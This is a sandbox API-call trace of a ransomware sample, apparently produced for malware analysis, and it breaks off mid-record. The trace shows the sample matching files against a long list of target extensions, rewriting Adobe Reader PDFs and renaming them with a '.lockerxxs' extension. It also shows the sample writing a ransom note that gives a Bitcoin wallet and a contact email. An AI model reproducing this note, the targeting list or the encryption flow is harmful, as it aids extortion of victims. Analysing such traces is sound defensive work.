[0068.771] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.idx") returned 0 [0068.771] lstrlenA (lpString="*.idx") returned 5 [0068.771] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.dbx") returned 0 [0068.771] lstrlenA (lpString="*.dbx") returned 5 [0068.771] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.sql") returned 0 [0068.771] lstrlenA (lpString="*.sql") returned 5 [0068.771] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.mdb") returned 0 [0068.771] lstrlenA (lpString="*.mdb") returned 5 [0068.771] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.fdb") returned 0 [0068.771] lstrlenA (lpString="*.fdb") returned 5 [0068.771] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.wab") returned 0 [0068.771] lstrlenA (lpString="*.wab") returned 5 [0068.771] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.dat") returned 0 [0068.771] lstrlenA (lpString="*.dat") returned 5 [0068.771] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.txt") returned 0 [0068.771] lstrlenA (lpString="*.txt") returned 5 [0068.771] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.jpeg") returned 0 [0068.771] lstrlenA (lpString="*.jpeg") returned 6 [0068.771] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.jpg") returned 0 [0068.772] lstrlenA (lpString="*.jpg") returned 5 [0068.772] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.png") returned 0 [0068.772] lstrlenA (lpString="*.png") returned 5 [0068.772] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.php") returned 0 [0068.772] lstrlenA (lpString="*.php") returned 5 [0068.772] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.cs") returned 0 [0068.772] lstrlenA (lpString="*.cs") returned 4 [0068.772] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.cpp") returned 0 [0068.772] lstrlenA (lpString="*.cpp") returned 5 [0068.772] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.rar") returned 0 [0068.772] lstrlenA (lpString="*.rar") returned 5 [0068.772] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.zip") returned 0 [0068.772] lstrlenA (lpString="*.zip") returned 5 [0068.772] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.html") returned 0 [0068.772] lstrlenA (lpString="*.html") returned 6 [0068.772] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.htm") returned 0 [0068.772] lstrlenA (lpString="*.htm") returned 5 [0068.772] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.xlsx") returned 0 [0068.772] lstrlenA (lpString="*.xlsx") returned 6 [0068.772] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.xls") returned 0 [0068.772] lstrlenA (lpString="*.xls") returned 5 [0068.772] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.mp4") returned 0 [0068.772] lstrlenA (lpString="*.mp4") returned 5 [0068.773] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.ppt") returned 0 [0068.773] lstrlenA (lpString="*.ppt") returned 5 [0068.773] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.pptx") returned 0 [0068.773] lstrlenA (lpString="*.pptx") returned 6 [0068.773] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.doc") returned 0 [0068.773] lstrlenA (lpString="*.doc") returned 5 [0068.773] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.dot") returned 0 [0068.773] lstrlenA (lpString="*.dot") returned 5 [0068.773] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.docx") returned 0 [0068.773] lstrlenA (lpString="*.docx") returned 6 [0068.773] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.7z") returned 0 [0068.773] lstrlenA (lpString="*.7z") returned 4 [0068.773] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.tar") returned 0 [0068.773] lstrlenA (lpString="*.tar") returned 5 [0068.773] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.bz2") returned 0 [0068.773] lstrlenA (lpString="*.bz2") returned 5 [0068.773] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.gz") returned 0 [0068.773] lstrlenA (lpString="*.gz") returned 4 [0068.773] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.mkv") returned 0 [0068.773] lstrlenA (lpString="*.mkv") returned 5 [0068.774] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.774] lstrlenA (lpString="*.eml") returned 5 [0068.774] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.msg") returned 0 [0068.774] lstrlenA (lpString="*.msg") returned 5 [0068.774] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.edb") returned 0 [0068.774] lstrlenA (lpString="*.edb") returned 5 [0068.774] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.accdb") returned 0 [0068.774] lstrlenA (lpString="*.accdb") returned 7 [0068.774] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.odb") returned 0 [0068.774] lstrlenA (lpString="*.odb") returned 5 [0068.774] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.java") returned 0 [0068.774] lstrlenA (lpString="*.java") returned 6 [0068.774] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.asm") returned 0 [0068.774] lstrlenA (lpString="*.asm") returned 5 [0068.774] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.pfx") returned 0 [0068.774] lstrlenA (lpString="*.pfx") returned 5 [0068.774] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.pem") returned 0 [0068.774] lstrlenA (lpString="*.pem") returned 5 [0068.774] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.p12") returned 0 [0068.774] lstrlenA (lpString="*.p12") returned 5 [0068.774] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.gpg") returned 0 [0068.774] lstrlenA (lpString="*.gpg") returned 5 [0068.774] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.vsd") returned 0 [0068.774] lstrlenA (lpString="*.vsd") returned 5 [0068.775] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.odg") returned 0 [0068.775] lstrlenA (lpString="*.odg") returned 5 [0068.775] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.raw") returned 0 [0068.775] lstrlenA (lpString="*.raw") returned 5 [0068.775] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.nef") returned 0 [0068.775] lstrlenA (lpString="*.nef") returned 5 [0068.775] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.svg") returned 0 [0068.775] lstrlenA (lpString="*.svg") returned 5 [0068.775] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.psd") returned 0 [0068.775] lstrlenA (lpString="*.psd") returned 5 [0068.775] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.vmx") returned 0 [0068.775] lstrlenA (lpString="*.vmx") returned 5 [0068.775] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.vmdk") returned 0 [0068.775] lstrlenA (lpString="*.vmdk") returned 6 [0068.775] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.vdi") returned 0 [0068.775] lstrlenA (lpString="*.vdi") returned 5 [0068.775] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.lay6") returned 0 [0068.775] lstrlenA (lpString="*.lay6") returned 6 [0068.775] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.mpeg") returned 0 [0068.775] lstrlenA (lpString="*.mpeg") returned 6 [0068.775] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.djvu") returned 0 [0068.775] lstrlenA (lpString="*.djvu") returned 6 [0068.775] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.tiff") returned 0 [0068.775] lstrlenA (lpString="*.tiff") returned 6 [0068.775] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.backup") returned 0 [0068.776] lstrlenA (lpString="*.backup") returned 8 [0068.776] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.pdf") returned 1 [0068.776] lstrlenA (lpString="*.pdf") returned 5 [0068.776] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf" [0068.776] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf" [0068.776] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf." [0068.776] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf.lockerxxs" [0068.776] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.776] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x25d4a [0068.777] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a2abc0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0068.777] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.777] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x25d24, lpOverlapped=0x0) returned 1 [0068.782] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf") returned="DefaultID.pdf" [0068.783] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.783] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x25d24, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x25d24, lpOverlapped=0x0) returned 1 [0068.784] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.784] CloseHandle (hObject=0x94) returned 1 [0068.789] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\defaultid.pdf.lockerxxs")) returned 1 [0068.792] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25d4a, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0068.792] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0068.792] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="PTB", cAlternateFileName="")) returned 1 [0068.792] lstrcmpA (lpString1=".", lpString2="PTB") returned -1 [0068.792] lstrcmpA (lpString1="..", lpString2="PTB") returned -1 [0068.792] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*") returned="*.*" [0068.792] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="PTB" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB" [0068.793] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB") returned 63 [0068.793] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.794] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0068.794] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0068.794] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0068.794] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0068.794] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11426, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0068.794] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.794] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeID.pdf") returned 1 [0068.794] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeID.pdf") returned 1 [0068.794] lstrcmpiA (lpString1="", lpString2="AdobeID.pdf") returned -1 [0068.794] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\*.*") returned="*.*" [0068.794] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\" [0068.794] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\") returned="" [0068.794] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\HOW TO DECRYPT FILES.txt" [0068.794] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\how to decrypt files.txt")) returned 0xffffffff [0068.794] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.795] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0068.795] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0068.796] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0068.797] CloseHandle (hObject=0x94) returned 1 [0068.797] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\", lpString2="AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf" [0068.797] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.ems") returned 0 [0068.797] lstrlenA (lpString="*.ems") returned 5 [0068.797] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.db") returned 0 [0068.797] lstrlenA (lpString="*.db") returned 4 [0068.797] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.dbf") returned 0 [0068.797] lstrlenA (lpString="*.dbf") returned 5 [0068.797] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.myox") returned 0 [0068.797] lstrlenA (lpString="*.myox") returned 6 [0068.797] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.myo") returned 0 [0068.797] lstrlenA (lpString="*.myo") returned 5 [0068.797] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.qbw") returned 0 [0068.797] lstrlenA (lpString="*.qbw") returned 5 [0068.797] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.qbb") returned 0 [0068.797] lstrlenA (lpString="*.qbb") returned 5 [0068.798] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.qbm") returned 0 [0068.798] lstrlenA (lpString="*.qbm") returned 5 [0068.798] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.qbo") returned 0 [0068.798] lstrlenA (lpString="*.qbo") returned 5 [0068.798] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.qbx") returned 0 [0068.798] lstrlenA (lpString="*.qbx") returned 5 [0068.798] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.qba") returned 0 [0068.798] lstrlenA (lpString="*.qba") returned 5 [0068.798] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.qby") returned 0 [0068.798] lstrlenA (lpString="*.qby") returned 5 [0068.798] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 